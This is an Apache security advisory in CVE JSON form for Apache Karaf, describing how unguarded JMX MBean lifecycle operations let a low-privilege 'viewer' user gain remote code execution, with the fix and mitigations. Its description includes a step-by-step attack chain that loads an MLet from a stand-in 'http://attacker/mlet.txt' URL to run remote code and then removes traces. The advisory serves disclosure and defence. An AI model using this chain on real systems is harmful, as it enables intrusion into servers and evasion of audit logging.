{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-92142", "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "state": "PUBLISHED", "assignerShortName": "apache", "dateReserved": "2026-09-15T16:59:01.764Z", "datePublished": "2026-09-29T08:40:07.961Z", "dateUpdated": "2026-10-01T14:24:03.845Z"}, "containers": {"cna": {"providerMetadata": {"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "shortName": "apache", "dateUpdated": "2026-09-29T08:40:07.961Z"}, "title": "Apache Karaf: Authorization bypass in JMX MBean lifecycle operations", "problemTypes": [{"descriptions": [{"description": "CWE-862", "lang": "en", "cweId": "CWE-862", "type": "CWE"}]}], "source": {"discovery": "EXTERNAL"}, "affected": [{"vendor": "Apache Software Foundation", "product": "Apache Karaf", "versions": [{"status": "affected", "version": "0", "lessThan": "4.4.12", "versionType": "semver"}], "defaultStatus": "unaffected"}], "descriptions": [{"value": "Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\n\n\n\u00a0 private final List guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard's existing \"invoke\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n * Authenticate to JMX as any user with any role (e.g. \"viewer\").\n * mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n * mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00a0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n * The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n * mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels.", "lang": "en", "supportingMedia": [{"type": "text/html", "base64": false, "value": "Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:

  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));

The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.

As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).

This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing \"invoke\" check, but the default etc/jmx.acl.cfg grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:
  1. Authenticate to JMX as any user with any role (e.g. \"viewer\").
  2. mbs.createMBean(\"javax.management.loading.MLet\", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
  3. mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...) is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.
  4. The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
  5. mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:

createMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin

Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels.
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The guard is implemented as a java.lang.reflect.Proxy\\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\\u00a0MBeanInvocationHandler#guarded:\\n\\n\\n\\u00a0 private final List guarded = Collections.unmodifiableList( Arrays.asList(\\\"invoke\\\", \\\"getAttribute\\\", \\\"getAttributes\\\", \\\"setAttribute\\\", \\\"setAttributes\\\"));\\n\\n\\n\\n\\nThe MBean lifecycle operations\\u00a0MBeanServer#createMBean,\\u00a0#registerMBean\\u00a0and\\u00a0#unregisterMBean\\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\\u00a0MBeanServer\\u00a0with no role check at all, regardless of the roles configured in\\u00a0etc/jmx.acl.*.cfg.\\n\\n\\n\\n\\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \\\"viewer\\\" role, can call\\u00a0createMBean()\\u00a0to instantiate an arbitrary class as a MBean, and\\u00a0unregisterMBean()\\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\\u00a0KarafMBeanServerGuard\\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\\n\\n\\n\\n\\nThis is significant because\\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\\u00a0MLet\\u00a0acts as a remote classloader: its\\u00a0getMBeansFromURL(URL)\\u00a0operation fetches an\\u00a0MLet\\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\\u00a0KarafMBeanServerGuard's existing \\\"invoke\\\" check, but the default\\u00a0etc/jmx.acl.cfg\\u00a0grants the \\\"viewer\\\" role to any method name matching the wildcard rule \\\"get* = viewer\\\", a heuristic intended for read-only getters. Because \\\"getMBeansFromURL\\\" happens to start with \\\"get\\\", it also matches that rule, so a default installation grants \\\"viewer\\\" callers permission to invoke it without any Karaf-specific ACL naming\\u00a0MLet\\u00a0at all. Combined with the createMBean gap, this gives a \\\"viewer\\\"-role JMX client a path to remote code execution to the Karaf JVM:\\n\\n * Authenticate to JMX as any user with any role (e.g. \\\"viewer\\\").\\n * mbs.createMBean(\\\"javax.management.loading.MLet\\\", objectName)\\u00a0is not in\\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\\n * mbs.invoke(objectName, \\\"getMBeansFromURL\\\", new Object[]{\\\"http://attacker/mlet.txt\\\"}, ...)\\u00a0is guarded, but the method name matches the default \\\"get* = viewer\\\" ACL rule, so permitted.\\n * The remote\\u00a0.mlet\\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\\n * mbs.unregisterMBean(objectName)\\u00a0can be used to remove the MLet afterwards, also not in\\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\\n\\n\\nThe fix adds\\u00a0createMBean,\\u00a0registerMBean\\u00a0and\\u00a0unregisterMBean\\u00a0to the guarded operation list, resolves required roles for them from the\\u00a0jmx.acl*\\u00a0configuration by\\u00a0ObjectName\\u00a0and (for\\u00a0createMBean/registerMBean) MBean class name, and ships default\\u00a0etc/jmx.acl.cfg\\u00a0entries restricting all three operations to the \\\"admin\\\" role. This allows deployments to also write class-name-specific rule, e.g.:\\n\\n\\n\\n\\ncreateMBean(java.lang.String)[/javax\\\\.management\\\\.loading\\\\..*/] = admin\\n\\n\\n\\n\\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\\\"admin\\\" JMX credentiels.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:

  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\\\"invoke\\\", \\\"getAttribute\\\", \\\"getAttributes\\\", \\\"setAttribute\\\", \\\"setAttributes\\\"));

The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.

As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \\\"viewer\\\" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).

This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing \\\"invoke\\\" check, but the default etc/jmx.acl.cfg grants the \\\"viewer\\\" role to any method name matching the wildcard rule \\\"get* = viewer\\\", a heuristic intended for read-only getters. Because \\\"getMBeansFromURL\\\" happens to start with \\\"get\\\", it also matches that rule, so a default installation grants \\\"viewer\\\" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a \\\"viewer\\\"-role JMX client a path to remote code execution to the Karaf JVM:
  1. Authenticate to JMX as any user with any role (e.g. \\\"viewer\\\").
  2. mbs.createMBean(\\\"javax.management.loading.MLet\\\", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
  3. mbs.invoke(objectName, \\\"getMBeansFromURL\\\", new Object[]{\\\"http://attacker/mlet.txt\\\"}, ...) is guarded, but the method name matches the default \\\"get* = viewer\\\" ACL rule, so permitted.
  4. The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
  5. mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the \\\"admin\\\" role. This allows deployments to also write class-name-specific rule, e.g.:

createMBean(java.lang.String)[/javax\\\\.management\\\\.loading\\\\..*/] = admin

Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\\\"admin\\\" JMX credentiels.
\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862\"}]}], \"providerMetadata\": {\"orgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"shortName\": \"apache\", \"dateUpdated\": \"2026-09-29T08:40:07.961Z\"}}}", "cveMetadata": "{\"cveId\": \"CVE-2026-92142\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-10-01T14:24:03.845Z\", \"dateReserved\": \"2026-09-15T16:59:01.764Z\", \"assignerOrgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"datePublished\": \"2026-09-29T08:40:07.961Z\", \"assignerShortName\": \"apache\"}", "dataType": "CVE_RECORD", "dataVersion": "5.2"}}}